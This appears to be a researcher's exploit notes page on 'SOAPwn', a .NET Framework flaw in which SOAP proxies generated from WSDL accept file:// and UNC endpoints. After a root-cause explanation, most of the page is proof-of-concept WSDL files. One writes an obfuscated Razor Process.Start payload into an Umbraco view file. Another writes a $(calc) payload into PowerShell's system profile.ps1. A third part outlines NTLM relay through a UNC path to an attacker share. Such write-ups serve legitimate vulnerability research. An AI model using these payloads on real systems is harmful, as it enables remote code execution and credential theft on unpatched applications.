> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/asp.net/soapwn.md).

# SOAPwn

## .NET SOAP Client Proxy Abuse

## Executive Summary

The **SOAPwn** vulnerability class impacts the **.NET Framework SOAP client stack**, specifically how SOAP proxies generated from WSDL files handle transport protocols. By design, .NET’s `HttpWebClientProtocol` is expected to operate over HTTP(S). However, due to a flawed type-handling decision in the framework, **non-HTTP URI schemes such as `file://` and UNC paths are silently accepted and processed**.

When applications dynamically import WSDL files (for example, using `ServiceDescriptionImporter`) and subsequently invoke generated SOAP proxy methods, attackers can weaponize this behavior to achieve **arbitrary file writes**, **NTLM credential relaying**, and in many real-world cases **remote code execution**. The issue is systemic: it affects the .NET Framework itself rather than a single product, and Microsoft has chosen not to patch it, placing responsibility on application developers to implement their own mitigations.

***

## Technical Deep Dive – Root Cause and Exploitation

Root Cause: Unsafe WebRequest Handling in .NET SOAP Clients

The fundamental issue resides in the .NET Framework’s `HttpWebClientProtocol.GetWebRequest()` implementation:

```csharp
protected override WebRequest GetWebRequest(Uri uri)
{
    WebRequest webRequest = base.GetWebRequest(uri); // [1]
    HttpWebRequest httpWebRequest = webRequest as HttpWebRequest; // [2]
    if (httpWebRequest != null)
    {
        httpWebRequest.UserAgent = this.UserAgent;
        httpWebRequest.AllowAutoRedirect = this.allowAutoRedirect;
        httpWebRequest.AutomaticDecompression = (this.enableDecompression ? DecompressionMethods.GZip : DecompressionMethods.None);
        httpWebRequest.AllowWriteStreamBuffering = true;
        httpWebRequest.SendChunked = false;
        if (this.unsafeAuthenticatedConnectionSharing != httpWebRequest.UnsafeAuthenticatedConnectionSharing)
        {
            httpWebRequest.UnsafeAuthenticatedConnectionSharing = this.unsafeAuthenticatedConnectionSharing;
        }
        if (this.proxy != null)
        {
            httpWebRequest.Proxy = this.proxy;
        }
        if (this.clientCertificates != null && this.clientCertificates.Count > 0)
        {
            httpWebRequest.ClientCertificates.AddRange(this.clientCertificates);
        }
        httpWebRequest.CookieContainer = this.cookieJar;
    }
    return webRequest; // [3]
}
```

Key properties of this logic:

* `[1]` base.GetWebRequest(uri) returns a protocol-specific WebRequest
* For file:// URIs, this is a FileWebRequest
* `[2]` The invalid cast to HttpWebRequest fails silently
* `[3]` The original WebRequest is returned without scheme validation

As a result, SOAP client code intended for HTTP(S) transparently accepts non-HTTP transports.

***

## PoC || GTFO

### Umbraco 8.18.15 (Authenticated) - <mark style="color:red;">WIP</mark>

**Requirements**

* Low-privileged user with Editor role
* Access to Forms → Data Sources

**Attack Chain**

1. Import attacker-controlled WSDL via Forms Data Source
2. Generated proxy embeds a file:// SOAP endpoint
3. Form submission invokes proxy method
4. SOAP request is written to disk via FileWebRequest

**Notes**

* SOAP 1.1 only
* Proxy import confirmed
* Execution via Forms is partially restricted (<mark style="color:red;">**WIP**</mark>)

**Can import:**

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">

  <types>
    <s:schema
      elementFormDefault="qualified"
      targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}">
      <s:element name="poc">
        <s:complexType/>
      </s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="TestIn">
    <part name="parameters" element="tns:poc"/>
  </message>

  <message name="TestOut">
    <part name="parameters" element="tns:pocResponse"/>
  </message>

  <portType name="TestSoap">
    <operation name="poc">
      <input message="tns:TestIn"/>
      <output message="tns:TestOut"/>
    </operation>
  </portType>

  <binding name="TestSoap" type="tns:TestSoap">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation
        soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c','','n','o','t','e','p','a','d'}));}/poc"/>
      <input>
        <soap:body use="literal"/>
      </input>
      <output>
        <soap:body use="literal"/>
      </output>
    </operation>
  </binding>

  <service name="Test">
    <port name="TestSoap" binding="tns:TestSoap">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>

</definitions>
```

Should be able to import following WSDL file..

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions
  xmlns="http://schemas.xmlsoap.org/wsdl/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">

  <types>
    <s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}">
      <s:element name="poc"><s:complexType/></s:element>
      <s:element name="pocResponse">
        <s:complexType>
          <s:sequence>
            <s:element name="pocResult" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="InMsg"><part name="parameters" element="tns:poc"/></message>
  <message name="OutMsg"><part name="parameters" element="tns:pocResponse"/></message>

  <portType name="SOAPwnMethod">
    <operation name="Execute">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>

  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Execute">
      <soap:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>

  <service name="SOAPwnService">
    <port name="SOAPwnPort" binding="tns:SOAPwnBinding">
      <soap:address location="file:///inetpub/umbraco8/Views/Blog.cshtml"/>
    </port>
  </service>

</definitions>
```

.. to generate following proxy method:

```javascript
public class UmbracoPoc : SoapHttpClientProtocol
{
    public UmbracoPoc()
    {
        base.Url = "file:///inetpub/umbraco8/Views/Blog.cshtml";
    }

    [SoapDocumentMethod("http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}/Execute", RequestNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", ResponseNamespace = "http://tempuri.org/?@{System.Diagnostics.Process.Start(new string (new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','n','o','t','e','p','a','d'}));}", Use = SoapBindingUse.Literal, ParameterStyle = SoapParameterStyle.Wrapped)]
    public string Execute()
    {
        return (string)base.Invoke("Execute", new object[0])[0];
    }
}
```

***

### PowerShell – Arbitrary File Write → RCE

PowerShell uses the .NET SOAP client stack when importing web services.

**Attack Chain**

1. Import malicious SOAP proxy
2. Trigger method invocation
3. SOAP payload written to profile.ps1
4. New PowerShell session loads profile
5. Arbitrary code execution

<figure><img src="/files/dtGNAYWLca2jHXwzfV2u" alt=""><figcaption></figcaption></figure>

### PowerShell – NTLM Relay

**Attack Chain**

1. SOAP endpoint uses UNC path (file://///attacker/share)
2. Proxy invocation triggers SMB authentication
3. NTLM challenge/response captured
4. Credentials relayed to another host

<figure><img src="/files/NLJ9TvWBPdBvfQOHqi7O" alt=""><figcaption></figcaption></figure>

PowerShell WSDL file used:

```xml
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             xmlns:s="http://www.w3.org/2001/XMLSchema"
             xmlns:tns="http://tempuri.org/?$(calc)"
             targetNamespace="http://tempuri.org/?$(calc)">

  <types>
    <s:schema targetNamespace="http://tempuri.org/?$(calc)" elementFormDefault="qualified">
      <s:element name="Request"><s:complexType/></s:element>
      <s:element name="Response">
        <s:complexType>
          <s:sequence>
            <s:element name="Result" type="s:string"/>
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </types>

  <message name="InMsg">
    <part name="parameters" element="tns:Request"/>
  </message>
  <message name="OutMsg">
    <part name="parameters" element="tns:Response"/>
  </message>

  <portType name="SOAPwnMethod">
    <operation name="poc">
      <input message="tns:InMsg"/>
      <output message="tns:OutMsg"/>
    </operation>
  </portType>

  <binding name="SOAPwnBinding" type="tns:SOAPwnMethod">
    <soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="poc">
      <soap:operation soapAction="http://tempuri.org/?$(calc)"/>
      <input><soap:body use="literal"/></input>
      <output><soap:body use="literal"/></output>
    </operation>
  </binding>

  <service name="SOAPwnService">
    <port name="SOAPwnMethod" binding="tns:SOAPwnBinding">
      <soap:address location="file:///Windows/System32/WindowsPowerShell/v1.0/profile.ps1"/>
      <!-- <soap:address location="file://192.168.140.128/relaymeplease"/> -->
    </port>
  </service>

</definitions>
```
